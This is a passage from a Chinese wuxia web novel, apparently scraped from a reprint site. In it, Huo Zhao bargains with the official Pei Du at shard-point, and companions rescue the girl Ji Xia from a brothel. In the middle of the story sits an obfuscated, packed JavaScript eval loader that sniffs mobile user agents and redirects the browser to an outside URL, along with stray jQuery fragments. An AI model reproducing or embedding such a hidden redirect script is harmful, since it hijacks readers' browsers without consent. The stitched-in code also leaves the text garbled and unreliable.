“霍昭,你想要什么?”裴度冰凉的声音带着几分喑哑,后背传来的痛感渐渐消退。他眉头微蹙,少女的额上泛出一层薄薄的冷汗。
裴度低眉看霍昭的手,抵在自己的颈侧的瓷片已经不抖了。他轻嗤一声,嘲讽似的摇了摇头。霍昭顺着裴度的视线看去,红口白牙地威胁道:“别以为我受伤了,就杀不了你。”
如俎上鱼肉的裴度听着霍昭的威胁,他心想,她可真能忍痛,这副身体还没养好就敢跟人动手。也难怪她在那个鬼地方都能逃个三次,最后琵琶骨都被锁起来了。
霍昭要是不惦记其他人,早自己跑了,何至于落到他的手中。
少女的手中的瓷片忽然进了一分,似被蚊虫叮咬刺痛。裴度道:“你先回去养伤明白,暗娼坊的事我会给你一个交代的。”
小狸奴发出呜咽,霍昭似是不信,“谁知道你和那个地方有没有勾结。”
他或许只是搪塞自己,等脱险之后好再控制自己。她打不过那群用蛊的,难道还收拾不了一个文弱书生,大不了大家玉石俱焚,黄泉路上还有个伴。
从前是她见裴度鼻青脸肿,出手相助,那时的裴度还是一个无权无势的草民。
江湖风水轮流转,霍昭也不曾想自己会如此惨。
半年不见天日,受尽折磨。
还差点就死掉了....
裴度无言一笑,他松了抓住小狸奴的手,反手紧握住了霍昭的手腕。霍昭惊慌失措,那块瓷片既抵着他的喉咙,又抵着自己的掌心。
锋利的边缘,伤人也伤己。
地上的人稍稍一用劲,他们面对面离得更近了一些,裴度面不改色挖苦道:“错过了机会,你现在还杀得掉我吗?”
霍昭脸色灰白,她将手中瓷片再进一分,微妙的平衡又被打破了。
明烛剑是玄铁铸成,比一般的剑都重,但应逐星说她力有百斤,确实有些夸大其词了。
虽说她如今不比从前了,可裴度是个读书人,他还是个这么多年力气都没长进的读书人,空有一副好皮囊罢了。
她道:“把铃铛给我。”
裴度又回到了之前的话题,“你不是想铲除那个暗娼坊吗?我说的是真的。”
“你于我有恩,我理当为你复仇。”他不再了握着霍昭的手腕同她较劲,“你的伤还没好,就算出了应天府,这一路也难保出点其他事。”
孱弱之躯只能任人宰割,这种滋味很难受,没人想再体会一遍。
霍昭却道:“我托你派人去明月山传信,你去了吗?”
裴度像是没有放在心上,“这几日公务缠身,我忘了。”
“我就知道...”霍昭咬了咬牙,骂道:“你个狗官。”
裴度先服了软,“算了算了,我可以将铃铛给你,你先答应个条件。”
霍昭随口问道:,“什么条件?”
裴度说出了自己的目的。“先在应天养伤,等我调官回上京后当我的护卫。”
这是什么意思,霍昭一时没想明白,裴度这是看上了自己的武艺了。
“上京官场复杂,新帝登基不久,底下明争暗斗。我需要有人替我办事,能保我一命。”裴度难得认真,“我不是狗官,暗娼坊背后有上京的大人物,历任知府无人敢动。”
这也是为什么应天府时常会有生人丢失的原因,这世道卖人比卖东西还容易,官府找不到是因为有上面的大人在包庇。
裴度两手一摊,他笑了笑,“我可以为你端了这个贼窝,你总不能看着我被人弄死吧。”
他摆出了一个诱人的条件,以霍昭这样的性子,她不可能不心动。何况,她此时也受制于人,情况不容乐观,与其两人同归于尽,不如信他一次。
少女明澈的眼眸闪过几分犹豫,霍昭终究还是点了头,“裴度,你赢了。”
瓷片滑落,她脱力般松了手,很快从裴度身上翻了下来。失去了桎梏的裴度偏了偏头,霍昭无力地躺在了他身边。
旧伤未愈又添新伤,她掌心留下了一道暗红的血痕。小狸奴乖巧地凑到了她的身边,舔了舔霍昭的的手指。
裴度抬手捂了捂脖子,指间有血迹。
她伤敌一千自损八百,他也没讨到什么好处。
裴度赢了,一切如他所愿...
薄雾被撕碎,天光大亮,夜色无处遁逃。
沈难打着哈欠推开厢房的窗,四个人凑合了一夜,除了应逐星,没有一个人睡得着觉。小纪夏缓慢地眨了眨眼,勉强提着精神头。叶婵靠在床边,不知道在想什么。
沈难轻轻踢了一下地上的应逐星,“醒醒,天亮了。”
“这是哪呀?”应逐星恍惚睁开了眼,梦里他都回家了,怎么还在外面。
“快点去找马车。”沈难拍了拍窗口,示意应逐星离开。昨夜大家都商量过了,他们人多难免引人注目,寻辆马车掩人耳目最好不过了。
阳光晃眼,应逐星揉了揉眼睛,嘟囔了一声得嘞。他知道自己就是跑腿的命,谁叫这一屋子除了叶婵,就自己的轻功最好。
他起身一个趔趄,沈难托了应逐星一把,“天亮了藏好点。”
“放心,等我消息。”应逐星直起身子,顿感神思清明。
白日的落仙坊安静得如一潭死水,靡靡之音散去,檐下微风里逐渐升腾出暑气。
应逐星轻盈如飞落到庭院,趁着现在人少,他赶紧从高墙翻了出去。出了落仙坊的应逐星随手拉了几个路人问路,而后便直奔车马行租了一辆马车。
离开前应逐星还不忘跟掌柜借一个斗笠遮脸,出门在外还是多遮掩些比较好,免得一下让人自己做了什么好事坏事,这也挺不自在的。
譬如沈难,他从前喜欢招摇过市,现在失忆了...人人都知道他什么德行,就他自己糊涂。
但这也算改邪归正,重新做人了吧。
马车停在落仙坊后头的小巷,应逐星又劳心劳力地翻墙喊人下来。叶婵让纪夏抓紧自己,她带着纪夏终身一跃,下面应逐星在接应。
至于沈难,他自然是怎么进就怎么出。
叶婵和纪夏进了马车,应逐星赶着车到了落仙坊正门。正逢沈难摇摇晃晃地从门口出来,他将昨夜的账单挂在了烟雨楼的胭脂铺上。
应逐星伸手抬了抬斗笠,“郎君该回府了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12785600|128881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在小厮的关切下沈难朝着马车走来,应逐星躬身扶他上车,车厢内纪夏圆溜溜的眼睛连眨都不敢眨。
直到马车慢悠悠驶出了一条街,她才敢微微喘气。外头的喧闹之音不绝于耳,纪夏掐了掐自己的虎口,她差点以为自己会一辈子待在那个鬼地方。
纪夏双眸含泪,好在终于逃出来了,
叶婵道:“别怕,我会送你回家的。”
“谢谢姐姐。”她的声音有些嘶哑,“要不是你们,我肯定出不来的。”
感激之情难以言表,小姑娘只会一个劲地掉眼泪,纪夏怕别人心烦,还特意低下了头。
不想叶婵竟然伸手抹掉了她眼角的泪,小姑娘一怔突然哭不出了,她愣愣地看着眼前清冷的姐姐,眼里闪烁着迷茫。
确实是个美人胚子,叶婵想起了君怜的话。这小姑娘若是留在落仙坊,说不准是下个花魁。当花魁受万人追捧,这样的日子算好吗。
叶婵不清楚,她为什么不要自己救。
这天下少有她打不过的人,区区一个落仙坊而已。
纪夏弱弱地喊了一声,“姐姐。”
叶婵低头看自己的手指上的水痕,才缓缓道:“别哭了,有条件的,你要先和我去官府报官。”
纪夏不懂事情的弯弯绕绕,自然一口应下。百姓想着,官府多少会为民做主的,
“这次我可不能去了。”马车外应逐星的声音飘进来,“这昨天才去了一趟,说自己表妹失踪了,今天再去衙役都要认得我了。”
沈难接过话头,“我去,我可以带着纪夏去报官。”
叶婵准备再探一遍知府衙门,既然找不到印章的痕迹,她不妨直接把事情摊开。有什么话不能明着说,非得私下来回试探,有时候人和人的相处就是麻烦。
“晚点再去官府吧,这天才刚亮不久。”驾车的应逐星眯了眯眼,他的肚子不满地叫唤了两声。“能不能先回天下楼吃饱睡足。”
应逐星自从进了应天府就马不停蹄地办事,田里的牛都没有昼夜不息地犁地的。
叶婵瞧着了一眼沈难的脸色,“伸手。”
沈难自然地将手伸到叶婵膝上搭脉,几乎是每一天,她都要查看沈难的身体情况。
“你的伤寒还没好。”叶婵冷着脸道:“昨天吃药后运功了?”
沈难下意识想否认,想说出口的谎又噎了回去,他只能点头。叶婵看着他说:“没有蝉息内力调节,用你断掉的经脉运功,你是想死吗?”
沈难摇了摇头,“对不起,师父。”
叶婵淡淡道:“你要是想死提前跟我说,省得我还用内力救你。”
“叶婵你别骂他了,你也知道他的内力有时不受控制。”大家熬了一个都累了,外头应逐星又在嚷,“到了到了,我要吃饭!”
沈难没有说,昨天傍晚他做了一个梦。这是他第一次看清除叶婵之外的人,他似乎不在山外谷了,有个很温柔的女子在抚摸她的脸,耳边还有一个男子的声音。
那人喊她,“阅音。”
沈难知道这是他的记忆,比山外谷更早的从前,是他遇见叶婵之前的记忆。